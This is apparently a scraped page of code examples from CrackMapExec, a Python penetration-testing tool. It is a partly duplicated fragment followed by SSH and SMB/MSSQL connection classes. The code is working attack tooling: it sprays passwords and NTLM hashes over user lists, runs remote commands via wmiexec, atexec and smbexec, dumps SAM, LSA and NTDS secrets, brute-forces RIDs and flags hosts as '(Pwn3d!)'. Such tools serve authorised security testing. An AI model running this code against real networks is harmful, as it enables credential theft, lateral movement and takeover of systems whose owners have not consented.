                    if self.module:

                        launcher = module.launcher(context, None if not hasattr(module, 'command') else module.command)
                        payload = module.payload(context, None if not hasattr(module, 'command') else module.command)

                        if hasattr(module, 'on_login'):
                            module.on_login(context, self, launcher, payload)

                        if self.admin_privs and hasattr(module, 'on_admin_login'):
                            module.on_admin_login(context, self, launcher, payload)

                    elif self.chain_list:
                        module_list = self.chain_list[:]
                        module_list.reverse()

                        final_launcher = module_list[0]['object'].launcher(context, None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command)
                        if len(module_list) > 2:
                            for m in module_list:
                                if m['object'] == module or m['object'] == module_list[0]['object']:
                                    continue
                                
                                final_launcher = m['object'].launcher(context, final_launcher)

                        if module == module_list[0]['object']: 
                            final_launcher = None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command
                        
                        launcher = module.launcher(context, final_launcher)
                        payload  = module.payload(context, final_launcher)

                        if hasattr(module, 'on_login'):
                            module.on_login(context, self)

                        if self.admin_privs and hasattr(module, 'on_admin_login'):
                            module.on_admin_login(context, self, launcher, payload)

                elif self.module is None and self.chain_list is None:
                    for k, v in vars(self.args).iteritems():
                        if hasattr(self, k) and hasattr(getattr(self, k), '__call__'):
                            if v is not False and v is not None:
                                getattr(self, k)()
Exemplo n.º 38
0
class ssh(connection):

    @staticmethod
    def proto_args(parser, std_parser, module_parser):
        ssh_parser = parser.add_parser('ssh', help="own stuff using SSH", parents=[std_parser, module_parser])
        #ssh_parser.add_argument("--key-file", type=str, help="Authenticate using the specified private key")
        ssh_parser.add_argument("--port", type=int, default=22, help="SSH port (default: 22)")

        cgroup = ssh_parser.add_argument_group("Command Execution", "Options for executing commands")
        cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output')
        cgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command")

        return parser

    def proto_logger(self):
        self.logger = CMEAdapter(extra={'protocol': 'SSH',
                                        'host': self.host,
                                        'port': self.args.port,
                                        'hostname': self.hostname})

    def print_host_info(self):
        self.logger.info(self.remote_version)

    def enum_host_info(self):
        self.remote_version = self.conn._transport.remote_version

    def create_conn_obj(self):
        self.conn = paramiko.SSHClient()
        self.conn.set_missing_host_key_policy(paramiko.AutoAddPolicy())

        try:
            self.conn.connect(self.host, port=self.args.port)
        except AuthenticationException:
            return True
        except SSHException:
            return True
        except NoValidConnectionsError:
            return False
        except socket.error:
            return False

    def check_if_admin(self):
        stdin, stdout, stderr = self.conn.exec_command('id')
        if stdout.read().find('uid=0(root)') != -1:
            self.admin_privs = True

    def plaintext_login(self, username, password):
        try:
            self.conn.connect(self.host, port=self.args.port, username=username, password=password)
            self.check_if_admin()

            self.logger.success(u'{}:{} {}'.format(username.decode('utf-8'),
                                                   password.decode('utf-8'),
                                                   highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')))

            return True
        except Exception as e:
            self.logger.error(u'{}:{} {}'.format(username.decode('utf-8'),
                                                 password.decode('utf-8'),
                                                 e))

            return False

    def execute(self, payload=None, get_output=False):
        stdin, stdout, stderr = self.conn.exec_command(self.args.execute)
        self.logger.success('Executed command')
        for line in stdout:
            self.logger.highlight(line.decode('utf-8').strip())

        return stdout
Exemplo n.º 39
0
class Connection:

    def __init__(self, args, db, host, module, chain_list, cmeserver, share_name):
        self.args = args
        self.db = db
        self.host = host
        self.module = module
        self.chain_list = chain_list
        self.cmeserver = cmeserver
        self.share_name = share_name
        self.conn = None
        self.hostname = None
        self.domain = None
        self.server_os = None
        self.logger = None
        self.password = None
        self.username = None
        self.hash = None
        self.admin_privs = False
        self.failed_logins = 0
        
        try:
            smb = SMBConnection(self.host, self.host, None, self.args.smb_port)

            #Get our IP from the socket
            local_ip = smb.getSMBServer().get_socket().getsockname()[0]

            #Get the remote ip address (in case the target is a hostname) 
            remote_ip = smb.getRemoteHost()

            try:
                smb.login('' , '')
            except SessionError as e:
                if "STATUS_ACCESS_DENIED" in e.message:
                    pass

            self.host = remote_ip
            self.domain   = smb.getServerDomain()
            self.hostname = smb.getServerName()
            self.server_os = smb.getServerOS()

            if not self.domain:
                self.domain = self.hostname

            self.db.add_host(self.host, self.hostname, self.domain, self.server_os)

            self.logger = CMEAdapter(getLogger('CME'), {
                                                        'host': self.host, 
                                                        'port': self.args.smb_port,
                                                        'hostname': u'{}'.format(self.hostname)
                                                       })

            self.logger.info(u"{} (name:{}) (domain:{})".format(
                                                                self.server_os,
                                                                self.hostname.decode('utf-8'), 
                                                                self.domain.decode('utf-8')
                                                                ))

            try:
                '''
                    DC's seem to want us to logoff first, windows workstations sometimes reset the connection
                    (go home Windows, you're drunk)
                '''
                smb.logoff()
            except:
                pass

            if self.args.mssql:
                instances = None
                self.logger.extra['port'] = self.args.mssql_port

                mssql = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
                mssql.connect()

                instances = mssql.getInstances(10)
                if len(instances) > 0:
                    self.logger.info("Found {} MSSQL instance(s)".format(len(instances)))
                    for i, instance in enumerate(instances):
                        self.logger.highlight("Instance {}".format(i))
                        for key in instance.keys():
                            self.logger.highlight(key + ":" + instance[key])

                try:
                    mssql.disconnect()
                except:
                    pass

            if (self.args.username and (self.args.password or self.args.hash)) or self.args.cred_id:
                
                if self.args.mssql and (instances is not None and len(instances) > 0):
                    self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
                    self.conn.connect()
                
                elif not args.mssql:
                    self.conn = SMBConnection(self.host, self.host, None, self.args.smb_port)

        except socket.error:
            pass

        if self.conn:
            if self.args.domain:
                self.domain = self.args.domain

            if self.args.local_auth:
                self.domain = self.hostname

            self.login()

            if (self.password is not None or self.hash is not None) and self.username is not None:

                if self.module or self.chain_list:

                    if self.chain_list:
                        module = self.chain_list[0]['object']

                    module_logger = CMEAdapter(getLogger('CME'), {
                                                                  'module': module.name.upper(), 
                                                                  'host': self.host, 
                                                                  'port': self.args.smb_port, 
                                                                  'hostname': self.hostname
                                                                 })
                    context = Context(self.db, module_logger, self.args)
                    context.localip  = local_ip

                    if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
                        cmeserver.server.context.localip = local_ip

                    if self.module:

                        launcher = module.launcher(context, None if not hasattr(module, 'command') else module.command)
                        payload = module.payload(context, None if not hasattr(module, 'command') else module.command)

                        if hasattr(module, 'on_login'):
                            module.on_login(context, self, launcher, payload)

                        if self.admin_privs and hasattr(module, 'on_admin_login'):
                            module.on_admin_login(context, self, launcher, payload)

                    elif self.chain_list:
                        module_list = self.chain_list[:]
                        module_list.reverse()

                        final_launcher = module_list[0]['object'].launcher(context, None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command)
                        if len(module_list) > 2:
                            for m in module_list:
                                if m['object'] == module or m['object'] == module_list[0]['object']:
                                    continue
                                
                                final_launcher = m['object'].launcher(context, final_launcher)

                        if module == module_list[0]['object']: 
                            final_launcher = None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command
                        
                        launcher = module.launcher(context, final_launcher)
                        payload  = module.payload(context, final_launcher)

                        if hasattr(module, 'on_login'):
                            module.on_login(context, self)

                        if self.admin_privs and hasattr(module, 'on_admin_login'):
                            module.on_admin_login(context, self, launcher, payload)

                elif self.module is None and self.chain_list is None:
                    for k, v in vars(self.args).iteritems():
                        if hasattr(self, k) and hasattr(getattr(self, k), '__call__'):
                            if v is not False and v is not None:
                                getattr(self, k)()

    def over_fail_limit(self, username):
        global global_failed_logins
        global user_failed_logins

        if global_failed_logins == self.args.gfail_limit: return True
        if self.failed_logins == self.args.fail_limit: return True
        if username in user_failed_logins.keys():
            if self.args.ufail_limit == user_failed_logins[username]: return True

        return False

    def check_if_admin(self):
        if self.args.mssql:
            try:
                #I'm pretty sure there has to be a better way of doing this.
                #Currently we are just searching for our user in the sysadmin group

                self.conn.sql_query("EXEC sp_helpsrvrolemember 'sysadmin'")
                query_output = self.conn.printRows()
                if query_output.find('{}\\{}'.format(self.domain, self.username)) != -1:
                    self.admin_privs = True
            except:
                pass

        elif not self.args.mssql:
            '''
                We use the OpenSCManagerW Win32API call to to establish a handle to the remote host. 
                If this succeeds, the user context has administrator access to the target.

                Idea stolen from PowerView's Invoke-CheckLocalAdminAccess
            '''

            stringBinding = r'ncacn_np:{}[\pipe\svcctl]'.format(self.host)

            rpctransport = transport.DCERPCTransportFactory(stringBinding)
            rpctransport.set_dport(self.args.smb_port)

            lmhash = ''
            nthash = ''
            if self.hash:
                if self.hash.find(':') != -1:
                    lmhash, nthash = self.hash.split(':')
                else:
                    nthash = self.hash

            if hasattr(rpctransport, 'set_credentials'):
                # This method exists only for selected protocol sequences.
                rpctransport.set_credentials(self.username, self.password if self.password is not None else '', self.domain, lmhash, nthash)
            dce = rpctransport.get_dce_rpc()
            dce.connect()
            dce.bind(scmr.MSRPC_UUID_SCMR)

            lpMachineName = '{}\x00'.format(self.host)
            try:

                # 0xF003F - SC_MANAGER_ALL_ACCESS
                # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx

                resp = scmr.hROpenSCManagerW(dce, lpMachineName, 'ServicesActive\x00', 0xF003F)
                self.admin_privs = True
            except DCERPCException:
                pass

    def plaintext_login(self, domain, username, password):
        try:
            if self.args.mssql:
                res = self.conn.login(None, username, password, domain, None, True if self.args.mssql_auth == 'windows' else False)
                if res is not True:
                    self.conn.printReplies()
                    return False
            
            elif not self.args.mssql:
                self.conn.login(username, password, domain)

            self.password = password
            self.username = username
            self.domain = domain
            self.check_if_admin()
            self.db.add_credential('plaintext', domain, username, password)

            if self.admin_privs:
                self.db.link_cred_to_host('plaintext', domain, username, password, self.host)

            out = u'{}\\{}:{} {}'.format(domain.decode('utf-8'),
                                         username.decode('utf-8'),
                                         password.decode('utf-8'),
                                         highlight('(Pwn3d!)') if self.admin_privs else '')

            self.logger.success(out)
            return True
        except SessionError as e:
            error, desc = e.getErrorString()
            self.logger.error(u'{}\\{}:{} {} {}'.format(domain.decode('utf-8'),
                                                        username.decode('utf-8'),
                                                        password.decode('utf-8'),
                                                        error,
                                                        '({})'.format(desc) if self.args.verbose else ''))
            if error == 'STATUS_LOGON_FAILURE': 
                global global_failed_logins
                global user_failed_logins
                
                if username not in user_failed_logins.keys():
                    user_failed_logins[username] = 0

                user_failed_logins[username] += 1
                global_failed_logins += 1
                self.failed_logins += 1

            return False

    def hash_login(self, domain, username, ntlm_hash):
        lmhash = ''
        nthash = ''

        #This checks to see if we didn't provide the LM Hash
        if ntlm_hash.find(':') != -1:
            lmhash, nthash = ntlm_hash.split(':')
        else:
            nthash = ntlm_hash

        try:
            if self.args.mssql:
                res = self.conn.login(None, username, '', domain, ':' + nthash if not lmhash else ntlm_hash, True if self.args.mssql_auth == 'windows' else False)
                if res is not True:
                    self.conn.printReplies()
                    return False

            elif not self.args.mssql:
                self.conn.login(username, '', domain, lmhash, nthash)

            self.hash = ntlm_hash
            self.username = username
            self.domain = domain
            self.check_if_admin()
            self.db.add_credential('hash', domain, username, ntlm_hash)

            if self.admin_privs:
                self.db.link_cred_to_host('hash', domain, username, ntlm_hash, self.host)

            out = u'{}\\{} {} {}'.format(domain.decode('utf-8'), 
                                         username.decode('utf-8'), 
                                         ntlm_hash, 
                                         highlight('(Pwn3d!)') if self.admin_privs else '')

            self.logger.success(out)
            return True
        except SessionError as e:
            error, desc = e.getErrorString()
            self.logger.error(u'{}\\{} {} {} {}'.format(domain.decode('utf-8'),
                                                        username.decode('utf-8'),
                                                        ntlm_hash,
                                                        error,
                                                        '({})'.format(desc) if self.args.verbose else ''))
            if error == 'STATUS_LOGON_FAILURE': 
                global global_failed_logins
                global user_failed_logins
                
                if username not in user_failed_logins.keys():
                    user_failed_logins[username] = 0

                user_failed_logins[username] += 1
                global_failed_logins += 1
                self.failed_logins += 1

            return False

    def login(self):
        for cred_id in self.args.cred_id:
            with sem:
                try:
                    c_id, credtype, domain, username, password = self.db.get_credentials(filterTerm=int(cred_id))[0]

                    if not domain: domain = self.domain

                    if self.args.local_auth:
                        domain = self.domain
                    elif self.args.domain: 
                        domain = self.args.domain

                    if credtype == 'hash' and not self.over_fail_limit(username):
                        if self.hash_login(domain, username, password): return

                    elif credtype == 'plaintext' and not self.over_fail_limit(username):
                        if self.plaintext_login(domain, username, password): return
     
                except IndexError:
                    self.logger.error("Invalid database credential ID!")

        for user in self.args.username:
            if type(user) is file:
                for usr in user:
                    if self.args.hash:
                        with sem:
                            for ntlm_hash in self.args.hash:
                                if type(ntlm_hash) is not file:
                                    if not self.over_fail_limit(usr.strip()):
                                        if self.hash_login(self.domain, usr.strip(), ntlm_hash): return
                            
                                elif type(ntlm_hash) is file:
                                    for f_hash in ntlm_hash:
                                        if not self.over_fail_limit(usr.strip()):
                                            if self.hash_login(self.domain, usr.strip(), f_hash.strip()): return
                                    ntlm_hash.seek(0)

                    elif self.args.password:
                        with sem:
                            for password in self.args.password:
                                if type(password) is not file:
                                    if not self.over_fail_limit(usr.strip()):
                                        if self.plaintext_login(self.domain, usr.strip(), password): return
                                
                                elif type(password) is file:
                                    for f_pass in password:
                                        if not self.over_fail_limit(usr.strip()):
                                            if self.plaintext_login(self.domain, usr.strip(), f_pass.strip()): return
                                    password.seek(0)

            elif type(user) is not file:
                    if self.args.hash:
                        with sem:
                            for ntlm_hash in self.args.hash:
                                if type(ntlm_hash) is not file:
                                    if not self.over_fail_limit(user):
                                        if self.hash_login(self.domain, user, ntlm_hash): return
                                
                                elif type(ntlm_hash) is file:
                                    for f_hash in ntlm_hash:
                                        if not self.over_fail_limit(user):
                                            if self.hash_login(self.domain, user, f_hash.strip()): return
                                    ntlm_hash.seek(0)

                    elif self.args.password:
                        with sem:
                            for password in self.args.password:
                                if type(password) is not file:
                                    if not self.over_fail_limit(user):
                                        if self.plaintext_login(self.domain, user, password): return
                                
                                elif type(password) is file:
                                    for f_pass in password:
                                        if not self.over_fail_limit(user):
                                            if self.plaintext_login(self.domain, user, f_pass.strip()): return
                                    password.seek(0)

    @requires_admin
    def execute(self, payload=None, get_output=False, methods=None):

        default_methods = ['wmiexec', 'atexec', 'smbexec']

        if not payload and self.args.execute: 
            payload = self.args.execute
            if not self.args.no_output: get_output = True

        if self.args.mssql:
            exec_method = MSSQLEXEC(self.conn)
            logging.debug('Executed command via mssqlexec')

        elif not self.args.mssql:

            if not methods and not self.args.exec_method:
                methods = default_methods

            elif methods or self.args.exec_method:

                if not methods:
                    methods = [self.args.exec_method]

            for method in methods:

                if method == 'wmiexec':
                    try:
                        exec_method = WMIEXEC(self.host, self.share_name, self.username, self.password, self.domain, self.conn, self.hash, self.args.share)
                        logging.debug('Executed command via wmiexec')
                        break
                    except:
                        logging.debug('Error executing command via wmiexec, traceback:')
                        logging.debug(format_exc())
                        continue

                elif method == 'atexec':
                    try:
                        exec_method = TSCH_EXEC(self.host, self.share_name, self.username, self.password, self.domain, self.hash) #self.args.share)
                        logging.debug('Executed command via atexec')
                        break
                    except:
                        logging.debug('Error executing command via atexec, traceback:')
                        logging.debug(format_exc())
                        continue

                elif method == 'smbexec':
                    try:
                        exec_method = SMBEXEC(self.host, self.share_name, self.args.smb_port, self.username, self.password, self.domain, self.hash, self.args.share)
                        logging.debug('Executed command via smbexec')
                        break
                    except:
                        logging.debug('Error executing command via smbexec, traceback:')
                        logging.debug(format_exc())
                        continue

        if self.cmeserver: self.cmeserver.track_host(self.host)

        output = u'{}'.format(exec_method.execute(payload, get_output).strip().decode('utf-8'))

        if self.args.execute or self.args.ps_execute:
            self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else ''))
            buf = StringIO(output).readlines()
            for line in buf:
                self.logger.highlight(line.strip())

        return output

    @requires_admin
    def ps_execute(self, payload=None, get_output=False, methods=None):
        if not payload and self.args.ps_execute:
            payload = self.args.ps_execute
            if not self.args.no_output: get_output = True

        return self.execute(create_ps_command(payload), get_output, methods)

    @requires_admin
    def sam(self):
        return DumpSecrets(self).SAM_dump()

    @requires_admin
    def lsa(self):
        return DumpSecrets(self).LSA_dump()

    @requires_admin
    def ntds(self):
        #We could just return the whole NTDS.dit database but in large domains it would be huge and would take up too much memory
        DumpSecrets(self).NTDS_dump(self.args.ntds, self.args.ntds_pwdLastSet, self.args.ntds_history)

    @requires_admin
    def wdigest(self):
        return getattr(WDIGEST(self), self.args.wdigest)()

    def shares(self):
        return ShareEnum(self).enum()

    @requires_admin
    def uac(self):
        return UAC(self).enum()

    def sessions(self):
        return RPCQUERY(self).enum_sessions()

    def disks(self):
        return RPCQUERY(self).enum_disks()

    def users(self):
        return SAMRDump(self).enum()

    def rid_brute(self):
        return LSALookupSid(self).brute_force()

    def pass_pol(self):
        return PassPolDump(self).enum()

    def lusers(self):
        return RPCQUERY(self).enum_lusers()

    @requires_admin
    def wmi(self):
        return WMIQUERY(self).query()

    def spider(self):
        spider = SMBSpider(self)
        spider.spider(self.args.spider, self.args.depth)
        spider.finish()

        return spider.results

    def mssql_query(self):
        self.conn.sql_query(self.args.mssql_query)
        return conn.printRows()